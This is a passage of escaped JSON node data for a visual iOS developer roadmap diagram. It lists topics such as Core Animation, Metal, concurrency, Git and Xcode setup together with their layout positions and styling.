\"width\": 215,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LHM7gNgTtfn_QDW-oQskD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -444.44020544189317,\n        \"y\": -90.7145767132705\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Core Services\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"leozxW-5fAOfkKbQM4FD1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 215,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -444.44020544189317,\n        \"y\": -90.7145767132705\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 215,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 215,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nGCG74_Xp_Ngt0u7PZnZl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -452.94020544189317,\n        \"y\": 212.43217122784745\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Media\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5VguZoP4h40rTWkxWxaxU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -452.94020544189317,\n        \"y\": 212.43217122784745\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kRE9xT3mT9Si4NwJr9yGi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -439.94020544189317,\n        \"y\": 271.43217122784745\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Core Graphics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5VguZoP4h40rTWkxWxaxU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -439.94020544189317,\n        \"y\": 271.43217122784745\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_mRs6ctH0IsSSi-cwV2b8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -439.94020544189317,\n        \"y\": 325.43217122784745\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Core Animation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5VguZoP4h40rTWkxWxaxU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -439.94020544189317,\n        \"y\": 325.43217122784745\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UKgiSQvR9cryQT50t7riZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -439.94020544189317,\n        \"y\": 379.43217122784745\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"AVFoundation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5VguZoP4h40rTWkxWxaxU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -439.94020544189317,\n        \"y\": 379.43217122784745\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6zE_M0_oVpwW0B9qFSRgP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -439.94020544189317,\n        \"y\": 433.43217122784745\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Core Image\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5VguZoP4h40rTWkxWxaxU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -439.94020544189317,\n        \"y\": 433.43217122784745\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4bAABCfTvxchS5C5NlAro\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -439.94020544189317,\n        \"y\": 487.43217122784745\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Core Audio\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5VguZoP4h40rTWkxWxaxU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -439.94020544189317,\n        \"y\": 487.43217122784745\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5VguZoP4h40rTWkxWxaxU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -439.94020544189317,\n        \"y\": 541.4321712278474\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Metal\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -439.94020544189317,\n        \"y\": 541.4321712278474\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"leozxW-5fAOfkKbQM4FD1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -444.44020544189317,\n        \"y\": -36.7145767132705\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cocoa Touch\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5VguZoP4h40rTWkxWxaxU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 215,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -444.44020544189317,\n        \"y\": -36.7145767132705\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 215,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 215,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mk02yV7_XHkgp2xdNIxaU\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -89.02142387891507,\n        \"y\": 460.9618613870708\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Core Programming Concepts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KJ7fM-V0_azY_lzmhjJAN\"\n      },\n      \"zIndex\": 999,\n      \"width\": 271,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 271,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -89.02142387891507,\n        \"y\": 460.9618613870708\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 271,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FoqlB7xBIrV4yUp4ReBkw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 295.00302013003466,\n        \"y\": 338.4753455166559\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"OOP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"aALIiAxKz4f7B_EYyhBCi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 324,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 324,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 295.00302013003466,\n        \"y\": 338.4753455166559\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 324,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Pj-hqRZUmwx1WhmTbLoFD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 295.00302013003466,\n        \"y\": 392.4753455166559\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Functional Programming\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"aALIiAxKz4f7B_EYyhBCi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 324,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 324,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 295.00302013003466,\n        \"y\": 392.4753455166559\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 324,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tqbg8mBJfjuXacdMlIB_L\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 295.00302013003466,\n        \"y\": 446.4753455166559\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Memory Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"aALIiAxKz4f7B_EYyhBCi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 324,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 324,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 295.00302013003466,\n        \"y\": 446.4753455166559\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 324,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"DZaY060-5D6PbfryOZH9H\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 295.00302013003466,\n        \"y\": 500.4753455166559\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ViewController Lifecycle\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"aALIiAxKz4f7B_EYyhBCi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 324,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 324,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 295.00302013003466,\n        \"y\": 500.4753455166559\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 324,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"N5ojp6bqgH074MPKYjCHV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 295.00302013003466,\n        \"y\": 555.4753455166559\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Error Handling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"aALIiAxKz4f7B_EYyhBCi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 324,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 324,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 295.00302013003466,\n        \"y\": 555.4753455166559\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 324,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aALIiAxKz4f7B_EYyhBCi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 295.00302013003466,\n        \"y\": 609.4753455166559\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Concurrency (GCD, async/await)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"IAPzuN51xvrZJ5TFB23Q9\"\n      },\n      \"zIndex\": 999,\n      \"width\": 324,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 324,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 295.00302013003466,\n        \"y\": 609.4753455166559\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 324,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rCxNgWI9qC60Dv6t9L18i\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -487.4940790252072,\n        \"y\": -344.984004153963\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Special thanks to Dennis who helped publish the initial version of this roadmap.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"BLACk\",\n          \"backgroundColor\": \"WHITe\"\n        },\n        \"oldId\": \"yHmHXymPNWwu8p1vvqD3o\"\n      },\n      \"zIndex\": 999,\n      \"width\": 358,\n      \"height\": 145,\n      \"positionAbsolute\": {\n        \"x\": -487.4940790252072,\n        \"y\": -344.984004153963\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 358,\n        \"height\": 145\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 358,\n        \"height\": 145\n      }\n    },\n    {\n      \"id\": \"aajK9mfO6_Kt2uFS4pn-5\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -475.9940790252072,\n        \"y\": -262.984004153963\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Visit his LinkedIn\",\n        \"href\": \"https://www.linkedin.com/in/jungpyo-hong-2987891a1\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#636363\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\",\n        \"borderColor\": \"#636363\"\n      },\n      \"zIndex\": 999,\n      \"width\": 334,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 334,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -475.9940790252072,\n        \"y\": -262.984004153963\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 334,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"F2JD1zBrfcbWxlWkyE7aZ\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -58.02142387891507,\n        \"y\": 193.13115882880976\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"The Fundamentals\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\"\n        },\n        \"oldId\": \"f9xhOYlU7xHiGXKuRK7BH\"\n      },\n      \"zIndex\": 999,\n      \"width\": 209,\n      \"height\": 69,\n      \"positionAbsolute\": {\n        \"x\": -58.02142387891507,\n        \"y\": 193.13115882880976\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 209,\n        \"height\": 69\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 209,\n        \"height\": 69\n      }\n    },\n    {\n      \"id\": \"MrdIb9F-wSEbUz7KRnH3t\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -59.52142387891507,\n        \"y\": 8.832055528298142\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Pick a Language\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oOaMz9A5DZvrjxovMztXz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 212,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 212,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -59.52142387891507,\n        \"y\": 8.832055528298142\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sGnDm2xuJxqfU3pwmlY7H\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -90.18801538057966,\n        \"y\": 640.2583638859841\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Version Control\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mk02yV7_XHkgp2xdNIxaU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 271,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 271,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -90.18801538057966,\n        \"y\": 640.2583638859841\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 271,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"QifWR7WSJJTcTK2IfczxG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -455.99430452021335,\n        \"y\": 640.2583638859841\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Git\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"a-QDI7Ei-B5BRHbicFcfG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 118,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 118,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -455.99430452021335,\n        \"y\": 640.2583638859841\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 118,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"U_xXGSFF5iibQ4VkzPAWf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -331.6597685468469,\n        \"y\": 640.2583638859841\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GitHub\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QifWR7WSJJTcTK2IfczxG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 119,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 119,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -331.6597685468469,\n        \"y\": 640.2583638859841\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 119,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1AtH8yhL6W4S9eYZBaCHL\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -56.52142387891507,\n        \"y\": 952.674316468536\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"App Components\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\"\n        },\n        \"oldId\": \"F2JD1zBrfcbWxlWkyE7aZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 209,\n      \"height\": 69,\n      \"positionAbsolute\": {\n        \"x\": -56.52142387891507,\n        \"y\": 952.674316468536\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 209,\n        \"height\": 69\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 209,\n        \"height\": 69\n      }\n    },\n    {\n      \"id\": \"la5M4VoH79bhnN8qj5Izp\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -456.65690513478063,\n        \"y\": 963.8866530852562\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Xcode\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sGnDm2xuJxqfU3pwmlY7H\"\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -456.65690513478063,\n        \"y\": 963.8866530852562\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OMk0bZJacEbjIzspe6Xew\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -450.65690513478063,\n        \"y\": 816.2880988555984\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Setting Up\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\"\n        },\n        \"oldId\": \"1AtH8yhL6W4S9eYZBaCHL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 142,\n      \"height\": 66,\n      \"positionAbsolute\": {\n        \"x\": -450.65690513478063,\n        \"y\": 816.2880988555984\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 142,\n        \"height\": 66\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 142,\n        \"height\": 66\n      }\n    },\n    {\n      \"id\": \"R8LdFpfyS0MFYJuMLk8RG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -216.3927038801816,\n        \"y\": 774.0609114171322\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Installing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QifWR7WSJJTcTK2IfczxG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 158,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 158,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -216.3927038801816,\n        \"y\": 774.0609114171322\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 158,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SeGfULWFR7ufdv4U9Db3F\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -216.3927038801816,\n        \"y\": 826.1201543838964\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Preferences\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"R8LdFpfyS0MFYJuMLk8RG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 158,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 158,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -216.3927038801816,\n        \"y\": 826.1201543838964\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 158,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BJgoAgH85U6S3RtXq7hHV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -216.3927038801816,\n        \"y\": 878.1793973506607\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"New Project\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SeGfULWFR7ufdv4U9Db3F\"\n      },\n      \"zIndex\": 999,\n      \"width\": 157,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 157,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -216.3927038801816,\n        \"y\": 878.1793973506607\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"eSLBtgpPec2Jz_Sjn6f5x\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -451.8234966364452,\n        \"y\": 1162.2641963849399\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Navigating\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\"\n        },\n        \"oldId\": \"OMk0bZJacEbjIzspe6Xew\"\n      },\n      \"zIndex\": 999,\n      \"width\": 142,\n      \"height\": 66,\n      \"positionAbsolute\": {\n        \"x\": -451.8234966364452,\n        \"y\": 1162.2641963849399\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 142,\n        \"height\": 66\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 142,\n        \"height\": 66\n      }\n    },\n    {\n      \"id\": \"FwwqAchMC6qdnXbqg45he\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -232.71010223307604,\n        \"y\": 1041.3737998699025\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Interface overview\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"R8LdFpfyS0MFYJuMLk8RG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 192,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 192,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -232.71010223307604,\n        \"y\": 1041.3737998699025\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 192,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AxQ5gCjk136kXsbBFTUNp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -232.71010223307604,\n        \"y\": 1092.7038259431447\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Toolbar\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"FwwqAchMC6qdnXbqg45he\"\n      },\n      \"zIndex\": 999,\n      \"width\": 192,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 192,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -232.71010223307604,\n        \"y\": 1092.7038259431447\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 192,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"odKZx4SUULF1y4gmiJZdu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -232.71010223307604,\n        \"y\": 1144.0338520163868\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Navigators\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"AxQ5gCjk136kXsbBFTUNp\"\n      },\n      \"zIndex\": 999,\n      \"width\": 192,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 192,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -232.71010223307604,\n        \"y\": 1144.0338520163868\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 192,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-4q7MFXaTmpR_39PTeWD8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -232.71010223307604,\n        \"y\": 1195.363878089629\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Editors\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": 